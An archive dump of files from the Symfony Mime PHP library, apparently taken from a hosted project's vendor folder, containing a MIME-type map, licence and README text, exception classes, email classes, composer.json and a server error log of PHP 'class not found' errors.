['application/wwf', 'application/x-wwf'], 'x32' => ['application/x-authorware-bin'], 'x3d' => ['model/x3d+xml'], 'x3db' => ['model/x3d+binary', 'model/x3d+fastinfoset'], 'x3dbz' => ['model/x3d+binary'], 'x3dv' => ['model/x3d+vrml', 'model/x3d-vrml'], 'x3dvz' => ['model/x3d+vrml'], 'x3dz' => ['model/x3d+xml'], 'x3f' => ['image/x-sigma-x3f'], 'x_b' => ['model/vnd.parasolid.transmit.binary'], 'x_t' => ['model/vnd.parasolid.transmit.text'], 'xac' => ['application/x-gnucash'], 'xaml' => ['application/xaml+xml'], 'xap' => ['application/x-silverlight-app'], 'xar' => ['application/vnd.xara', 'application/x-xar'], 'xav' => ['application/xcap-att+xml'], 'xbap' => ['application/x-ms-xbap'], 'xbd' => ['application/vnd.fujixerox.docuworks.binder'], 'xbel' => ['application/x-xbel'], 'xbl' => ['application/xml', 'text/xml'], 'xbm' => ['image/x-xbitmap'], 'xca' => ['application/xcap-caps+xml'], 'xcf' => ['image/x-xcf'], 'xcf.bz2' => ['image/x-compressed-xcf'], 'xcf.gz' => ['image/x-compressed-xcf'], 'xcs' => ['application/calendar+xml'], 'xdf' => ['application/mrb-consumer+xml', 'application/mrb-publish+xml', 'application/xcap-diff+xml'], 'xdgapp' => ['application/vnd.flatpak', 'application/vnd.xdgapp'], 'xdm' => ['application/vnd.syncml.dm+xml'], 'xdp' => ['application/vnd.adobe.xdp+xml'], 'xdssc' => ['application/dssc+xml'], 'xdw' => ['application/vnd.fujixerox.docuworks'], 'xel' => ['application/xcap-el+xml'], 'xenc' => ['application/xenc+xml'], 'xer' => ['application/patch-ops-error+xml', 'application/xcap-error+xml'], 'xfdf' => ['application/vnd.adobe.xfdf'], 'xfdl' => ['application/vnd.xfdl'], 'xhe' => ['audio/usac'], 'xht' => ['application/xhtml+xml'], 'xhtml' => ['application/xhtml+xml'], 'xhvml' => ['application/xv+xml'], 'xi' => ['audio/x-xi'], 'xif' => ['image/vnd.xiff'], 'xla' => ['application/msexcel', 'application/vnd.ms-excel', 'application/x-msexcel', 'zz-application/zz-winassoc-xls'], 'xlam' => ['application/vnd.ms-excel.addin.macroenabled.12'], 'xlc' => ['application/msexcel', 'application/vnd.ms-excel', 'application/x-msexcel', 'zz-application/zz-winassoc-xls'], 'xld' => ['application/msexcel', 'application/vnd.ms-excel', 'application/x-msexcel', 'zz-application/zz-winassoc-xls'], 'xlf' => ['application/x-xliff', 'application/x-xliff+xml', 'application/xliff+xml'], 'xliff' => ['application/x-xliff', 'application/xliff+xml'], 'xll' => ['application/msexcel', 'application/vnd.ms-excel', 'application/x-msexcel', 'zz-application/zz-winassoc-xls'], 'xlm' => ['application/msexcel', 'application/vnd.ms-excel', 'application/x-msexcel', 'zz-application/zz-winassoc-xls'], 'xlr' => ['application/vnd.ms-works'], 'xls' => ['application/vnd.ms-excel', 'application/msexcel', 'application/x-msexcel', 'zz-application/zz-winassoc-xls'], 'xlsb' => ['application/vnd.ms-excel.sheet.binary.macroenabled.12'], 'xlsm' => ['application/vnd.ms-excel.sheet.macroenabled.12'], 'xlsx' => ['application/vnd.openxmlformats-officedocument.spreadsheetml.sheet'], 'xlt' => ['application/msexcel', 'application/vnd.ms-excel', 'application/x-msexcel', 'zz-application/zz-winassoc-xls'], 'xltm' => ['application/vnd.ms-excel.template.macroenabled.12'], 'xltx' => ['application/vnd.openxmlformats-officedocument.spreadsheetml.template'], 'xlw' => ['application/msexcel', 'application/vnd.ms-excel', 'application/x-msexcel', 'zz-application/zz-winassoc-xls'], 'xm' => ['audio/x-xm', 'audio/xm'], 'xmf' => ['audio/mobile-xmf', 'audio/x-xmf', 'audio/xmf'], 'xmi' => ['text/x-xmi'], 'xml' => ['application/xml', 'text/xml'], 'xns' => ['application/xcap-ns+xml'], 'xo' => ['application/vnd.olpc-sugar'], 'xop' => ['application/xop+xml'], 'xpi' => ['application/x-xpinstall'], 'xpl' => ['application/xproc+xml'], 'xpm' => ['image/x-xpixmap', 'image/x-xpm'], 'xpr' => ['application/vnd.is-xpr'], 'xps' => ['application/vnd.ms-xpsdocument', 'application/xps'], 'xpw' => ['application/vnd.intercon.formnet'], 'xpx' => ['application/vnd.intercon.formnet'], 'xsd' => ['application/xml', 'text/xml'], 'xsl' => ['application/xml', 'application/xslt+xml'], 'xslfo' => ['text/x-xslfo'], 'xslt' => ['application/xslt+xml'], 'xsm' => ['application/vnd.syncml+xml'], 'xspf' => ['application/x-xspf+xml', 'application/xspf+xml'], 'xul' => ['application/vnd.mozilla.xul+xml'], 'xvm' => ['application/xv+xml'], 'xvml' => ['application/xv+xml'], 'xwd' => ['image/x-xwindowdump'], 'xyz' => ['chemical/x-xyz'], 'xz' => ['application/x-xz'], 'yaml' => ['application/x-yaml', 'text/x-yaml', 'text/yaml'], 'yang' => ['application/yang'], 'yin' => ['application/yin+xml'], 'yml' => ['application/x-yaml', 'text/x-yaml', 'text/yaml'], 'ymp' => ['text/x-suse-ymp'], 'yt' => ['application/vnd.youtube.yt'], 'z1' => ['application/x-zmachine'], 'z2' => ['application/x-zmachine'], 'z3' => ['application/x-zmachine'], 'z4' => ['application/x-zmachine'], 'z5' => ['application/x-zmachine'], 'z6' => ['application/x-zmachine'], 'z64' => ['application/x-n64-rom'], 'z7' => ['application/x-zmachine'], 'z8' => ['application/x-zmachine'], 'zabw' => ['application/x-abiword'], 'zaz' => ['application/vnd.zzazz.deck+xml'], 'zip' => ['application/zip', 'application/x-zip', 'application/x-zip-compressed'], 'zir' => ['application/vnd.zul'], 'zirz' => ['application/vnd.zul'], 'zmm' => ['application/vnd.handheld-entertainment+xml'], 'zoo' => ['application/x-zoo'], 'zsav' => ['application/x-spss-sav', 'application/x-spss-savefile'], 'zst' => ['application/zstd'], 'zz' => ['application/zlib'], '123' => ['application/lotus123', 'application/vnd.lotus-1-2-3', 'application/wk1', 'application/x-123', 'application/x-lotus123', 'zz-application/zz-winassoc-123'], '602' => ['application/x-t602'], '669' => ['audio/x-mod'], ]; } mime/README.md000064400000000713151113512100006741 0ustar00MIME Component ============== The MIME component allows manipulating MIME messages. Resources --------- * [Documentation](https://symfony.com/doc/current/components/mime.html) * [Contributing](https://symfony.com/doc/current/contributing/index.html) * [Report issues](https://github.com/symfony/symfony/issues) and [send Pull Requests](https://github.com/symfony/symfony/pulls) in the [main Symfony repository](https://github.com/symfony/symfony) mime/LICENSE000064400000002054151113512100006467 0ustar00Copyright (c) 2010-present Fabien Potencier Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. mime/Exception/ExceptionInterface.php000064400000000610151113512100013704 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Mime\Exception; /** * @author Fabien Potencier */ interface ExceptionInterface extends \Throwable { } mime/Exception/LogicException.php000064400000000643151113512100013047 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Mime\Exception; /** * @author Fabien Potencier */ class LogicException extends \LogicException implements ExceptionInterface { } mime/Exception/RfcComplianceException.php000064400000000665151113512100014523 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Mime\Exception; /** * @author Fabien Potencier */ class RfcComplianceException extends \InvalidArgumentException implements ExceptionInterface { } mime/Exception/RuntimeException.php000064400000000647151113512100013441 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Mime\Exception; /** * @author Fabien Potencier */ class RuntimeException extends \RuntimeException implements ExceptionInterface { } mime/Exception/error_log000064400000041006151113512100011335 0ustar00[19-Nov-2025 21:36:56 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Mime\Exception\ExceptionInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Exception/InvalidArgumentException.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Exception/InvalidArgumentException.php on line 17 [19-Nov-2025 21:40:13 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Mime\Exception\ExceptionInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Exception/RfcComplianceException.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Exception/RfcComplianceException.php on line 17 [19-Nov-2025 22:23:19 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Mime\Exception\ExceptionInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Exception/LogicException.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Exception/LogicException.php on line 17 [19-Nov-2025 22:25:41 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Mime\Exception\RfcComplianceException" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Exception/AddressEncoderException.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Exception/AddressEncoderException.php on line 17 [19-Nov-2025 22:30:34 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Mime\Exception\ExceptionInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Exception/RuntimeException.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Exception/RuntimeException.php on line 17 [19-Nov-2025 22:41:50 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Mime\Exception\ExceptionInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Exception/InvalidArgumentException.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Exception/InvalidArgumentException.php on line 17 [19-Nov-2025 22:43:55 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Mime\Exception\RfcComplianceException" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Exception/AddressEncoderException.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Exception/AddressEncoderException.php on line 17 [19-Nov-2025 22:44:54 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Mime\Exception\ExceptionInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Exception/RfcComplianceException.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Exception/RfcComplianceException.php on line 17 [19-Nov-2025 22:47:02 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Mime\Exception\ExceptionInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Exception/RuntimeException.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Exception/RuntimeException.php on line 17 [19-Nov-2025 22:49:09 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Mime\Exception\ExceptionInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Exception/LogicException.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Exception/LogicException.php on line 17 [19-Nov-2025 22:58:49 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Mime\Exception\ExceptionInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Exception/RfcComplianceException.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Exception/RfcComplianceException.php on line 17 [19-Nov-2025 23:00:53 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Mime\Exception\ExceptionInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Exception/LogicException.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Exception/LogicException.php on line 17 [19-Nov-2025 23:01:54 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Mime\Exception\RfcComplianceException" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Exception/AddressEncoderException.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Exception/AddressEncoderException.php on line 17 [19-Nov-2025 23:04:03 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Mime\Exception\ExceptionInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Exception/RuntimeException.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Exception/RuntimeException.php on line 17 [19-Nov-2025 23:05:07 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Mime\Exception\ExceptionInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Exception/InvalidArgumentException.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Exception/InvalidArgumentException.php on line 17 [19-Nov-2025 23:18:46 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Mime\Exception\ExceptionInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Exception/LogicException.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Exception/LogicException.php on line 17 [19-Nov-2025 23:19:50 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Mime\Exception\RfcComplianceException" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Exception/AddressEncoderException.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Exception/AddressEncoderException.php on line 17 [19-Nov-2025 23:20:55 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Mime\Exception\ExceptionInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Exception/InvalidArgumentException.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Exception/InvalidArgumentException.php on line 17 [19-Nov-2025 23:22:57 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Mime\Exception\ExceptionInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Exception/RfcComplianceException.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Exception/RfcComplianceException.php on line 17 [19-Nov-2025 23:26:10 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Mime\Exception\ExceptionInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Exception/RuntimeException.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Exception/RuntimeException.php on line 17 [19-Nov-2025 23:35:29 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Mime\Exception\ExceptionInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Exception/LogicException.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Exception/LogicException.php on line 17 [19-Nov-2025 23:35:50 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Mime\Exception\ExceptionInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Exception/RuntimeException.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Exception/RuntimeException.php on line 17 [19-Nov-2025 23:38:56 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Mime\Exception\ExceptionInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Exception/RfcComplianceException.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Exception/RfcComplianceException.php on line 17 [19-Nov-2025 23:40:01 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Mime\Exception\RfcComplianceException" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Exception/AddressEncoderException.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Exception/AddressEncoderException.php on line 17 [19-Nov-2025 23:41:02 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Mime\Exception\ExceptionInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Exception/InvalidArgumentException.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Exception/InvalidArgumentException.php on line 17 [20-Nov-2025 03:20:43 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Mime\Exception\ExceptionInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Exception/RfcComplianceException.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Exception/RfcComplianceException.php on line 17 [20-Nov-2025 03:22:50 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Mime\Exception\ExceptionInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Exception/RuntimeException.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Exception/RuntimeException.php on line 17 [20-Nov-2025 03:24:55 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Mime\Exception\RfcComplianceException" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Exception/AddressEncoderException.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Exception/AddressEncoderException.php on line 17 [20-Nov-2025 03:28:01 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Mime\Exception\ExceptionInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Exception/LogicException.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Exception/LogicException.php on line 17 [20-Nov-2025 03:31:12 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Mime\Exception\ExceptionInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Exception/InvalidArgumentException.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Exception/InvalidArgumentException.php on line 17 [20-Nov-2025 04:00:31 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Mime\Exception\ExceptionInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Exception/RfcComplianceException.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Exception/RfcComplianceException.php on line 17 [20-Nov-2025 04:01:48 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Mime\Exception\ExceptionInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Exception/InvalidArgumentException.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Exception/InvalidArgumentException.php on line 17 [20-Nov-2025 04:29:55 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Mime\Exception\ExceptionInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Exception/RfcComplianceException.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Exception/RfcComplianceException.php on line 17 [20-Nov-2025 04:31:56 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Mime\Exception\ExceptionInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Exception/InvalidArgumentException.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Exception/InvalidArgumentException.php on line 17 [20-Nov-2025 05:10:27 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Mime\Exception\ExceptionInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Exception/RfcComplianceException.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Exception/RfcComplianceException.php on line 17 [20-Nov-2025 05:15:57 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Mime\Exception\ExceptionInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Exception/InvalidArgumentException.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Exception/InvalidArgumentException.php on line 17 [25-Nov-2025 02:34:30 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Mime\Exception\ExceptionInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Exception/RuntimeException.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Exception/RuntimeException.php on line 17 [25-Nov-2025 02:56:33 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Mime\Exception\RfcComplianceException" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Exception/AddressEncoderException.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Exception/AddressEncoderException.php on line 17 [25-Nov-2025 04:31:04 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Mime\Exception\ExceptionInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Exception/LogicException.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Exception/LogicException.php on line 17 [25-Nov-2025 04:33:16 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Mime\Exception\ExceptionInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Exception/InvalidArgumentException.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Exception/InvalidArgumentException.php on line 17 [25-Nov-2025 05:25:18 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Mime\Exception\ExceptionInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Exception/RfcComplianceException.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Exception/RfcComplianceException.php on line 17 [25-Nov-2025 23:09:10 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Mime\Exception\ExceptionInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Exception/InvalidArgumentException.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Exception/InvalidArgumentException.php on line 17 [26-Nov-2025 00:38:15 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Mime\Exception\ExceptionInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Exception/RfcComplianceException.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Exception/RfcComplianceException.php on line 17 [26-Nov-2025 01:30:25 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Mime\Exception\ExceptionInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Exception/RuntimeException.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Exception/RuntimeException.php on line 17 [26-Nov-2025 01:52:13 UTC] PHP Fatal error: Uncaught Error: Class "Symfony\Component\Mime\Exception\RfcComplianceException" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Exception/AddressEncoderException.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Exception/AddressEncoderException.php on line 17 [26-Nov-2025 03:43:43 UTC] PHP Fatal error: Uncaught Error: Interface "Symfony\Component\Mime\Exception\ExceptionInterface" not found in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Exception/LogicException.php:17 Stack trace: #0 {main} thrown in /home/fluxyjvi/public_html/project/vendor/symfony/mime/Exception/LogicException.php on line 17 mime/Exception/InvalidArgumentException.php000064400000000667151113512100015111 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Mime\Exception; /** * @author Fabien Potencier */ class InvalidArgumentException extends \InvalidArgumentException implements ExceptionInterface { } mime/Exception/AddressEncoderException.php000064400000000625151113512100014677 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Mime\Exception; /** * @author Fabien Potencier */ class AddressEncoderException extends RfcComplianceException { } mime/DraftEmail.php000064400000002145151113512100010204 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Mime; use Symfony\Component\Mime\Header\Headers; use Symfony\Component\Mime\Part\AbstractPart; /** * @author Kevin Bond */ class DraftEmail extends Email { public function __construct(Headers $headers = null, AbstractPart $body = null) { parent::__construct($headers, $body); $this->getHeaders()->addTextHeader('X-Unsent', '1'); } /** * Override default behavior as draft emails do not require From/Sender/Date/Message-ID headers. * These are added by the client that actually sends the email. */ public function getPreparedHeaders(): Headers { $headers = clone $this->getHeaders(); if (!$headers->has('MIME-Version')) { $headers->addTextHeader('MIME-Version', '1.0'); } $headers->remove('Bcc'); return $headers; } } mime/composer.json000064400000002675151113512100010215 0ustar00{ "name": "symfony/mime", "type": "library", "description": "Allows manipulating MIME messages", "keywords": ["mime", "mime-type"], "homepage": "https://symfony.com", "license": "MIT", "authors": [ { "name": "Fabien Potencier", "email": "fabien@symfony.com" }, { "name": "Symfony Community", "homepage": "https://symfony.com/contributors" } ], "require": { "php": ">=8.1", "symfony/deprecation-contracts": "^2.5|^3", "symfony/polyfill-intl-idn": "^1.10", "symfony/polyfill-mbstring": "^1.0" }, "require-dev": { "egulias/email-validator": "^2.1.10|^3.1|^4", "league/html-to-markdown": "^5.0", "phpdocumentor/reflection-docblock": "^3.0|^4.0|^5.0", "symfony/dependency-injection": "^5.4|^6.0", "symfony/property-access": "^5.4|^6.0", "symfony/property-info": "^5.4|^6.0", "symfony/serializer": "~6.2.13|^6.3.2" }, "conflict": { "egulias/email-validator": "~3.0.0", "phpdocumentor/reflection-docblock": "<3.2.2", "phpdocumentor/type-resolver": "<1.4.0", "symfony/mailer": "<5.4", "symfony/serializer": "<6.2.13|>=6.3,<6.3.2" }, "autoload": { "psr-4": { "Symfony\\Component\\Mime\\": "" }, "exclude-from-classmap": [ "/Tests/" ] }, "minimum-stability": "dev" } mime/BodyRendererInterface.php000064400000000642151113512100012401 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Mime; /** * @author Fabien Potencier */ interface BodyRendererInterface { public function render(Message $message): void; } mime/Email.php000064400000036257151113512100007236 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Mime; use Symfony\Component\Mime\Exception\LogicException; use Symfony\Component\Mime\Part\AbstractPart; use Symfony\Component\Mime\Part\DataPart; use Symfony\Component\Mime\Part\File; use Symfony\Component\Mime\Part\Multipart\AlternativePart; use Symfony\Component\Mime\Part\Multipart\MixedPart; use Symfony\Component\Mime\Part\Multipart\RelatedPart; use Symfony\Component\Mime\Part\TextPart; /** * @author Fabien Potencier */ class Email extends Message { public const PRIORITY_HIGHEST = 1; public const PRIORITY_HIGH = 2; public const PRIORITY_NORMAL = 3; public const PRIORITY_LOW = 4; public const PRIORITY_LOWEST = 5; private const PRIORITY_MAP = [ self::PRIORITY_HIGHEST => 'Highest', self::PRIORITY_HIGH => 'High', self::PRIORITY_NORMAL => 'Normal', self::PRIORITY_LOW => 'Low', self::PRIORITY_LOWEST => 'Lowest', ]; /** * @var resource|string|null */ private $text; private ?string $textCharset = null; /** * @var resource|string|null */ private $html; private ?string $htmlCharset = null; private array $attachments = []; private ?AbstractPart $cachedBody = null; // Used to avoid wrong body hash in DKIM signatures with multiple parts (e.g. HTML + TEXT) due to multiple boundaries. /** * @return $this */ public function subject(string $subject): static { return $this->setHeaderBody('Text', 'Subject', $subject); } public function getSubject(): ?string { return $this->getHeaders()->getHeaderBody('Subject'); } /** * @return $this */ public function date(\DateTimeInterface $dateTime): static { return $this->setHeaderBody('Date', 'Date', $dateTime); } public function getDate(): ?\DateTimeImmutable { return $this->getHeaders()->getHeaderBody('Date'); } /** * @return $this */ public function returnPath(Address|string $address): static { return $this->setHeaderBody('Path', 'Return-Path', Address::create($address)); } public function getReturnPath(): ?Address { return $this->getHeaders()->getHeaderBody('Return-Path'); } /** * @return $this */ public function sender(Address|string $address): static { return $this->setHeaderBody('Mailbox', 'Sender', Address::create($address)); } public function getSender(): ?Address { return $this->getHeaders()->getHeaderBody('Sender'); } /** * @return $this */ public function addFrom(Address|string ...$addresses): static { return $this->addListAddressHeaderBody('From', $addresses); } /** * @return $this */ public function from(Address|string ...$addresses): static { return $this->setListAddressHeaderBody('From', $addresses); } /** * @return Address[] */ public function getFrom(): array { return $this->getHeaders()->getHeaderBody('From') ?: []; } /** * @return $this */ public function addReplyTo(Address|string ...$addresses): static { return $this->addListAddressHeaderBody('Reply-To', $addresses); } /** * @return $this */ public function replyTo(Address|string ...$addresses): static { return $this->setListAddressHeaderBody('Reply-To', $addresses); } /** * @return Address[] */ public function getReplyTo(): array 